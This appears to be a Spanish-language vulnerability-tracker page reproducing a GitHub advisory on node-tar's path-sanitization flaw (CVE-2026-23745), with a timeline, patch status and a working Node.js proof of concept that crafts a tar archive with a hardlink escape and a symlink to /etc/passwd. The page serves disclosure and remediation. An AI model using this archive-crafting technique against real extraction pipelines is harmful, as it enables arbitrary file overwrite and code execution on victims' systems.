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GHSA-8QQ5-RM4J-MR97

node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición307 dDesde la divulgación, 16 ene 2026, 4:16 p. m.
Detección304 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 7.5.3
Monitoreo
Detectada
16 ene 26
10 sept 26
17 nov 26
20 nov 26
16 ene 26
3 abr 26
19 jun 26
4 sept 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8QQ5-RM4J-MR97 divulgada
Remediación Parche 7.5.3 tar · 0 d desde divulgación
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an absolute path, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})
Impact
  • Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
  • Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
tar< 7.5.3
7.5.3
7.5.23
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmtar
Corregida 7.5.3 0 d 7.5.23 no afectada
Versiones corregidas7.5.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-23745
Otrahttps://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97
Otrahttps://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e
Otrahttps://github.com/isaacs/node-tar

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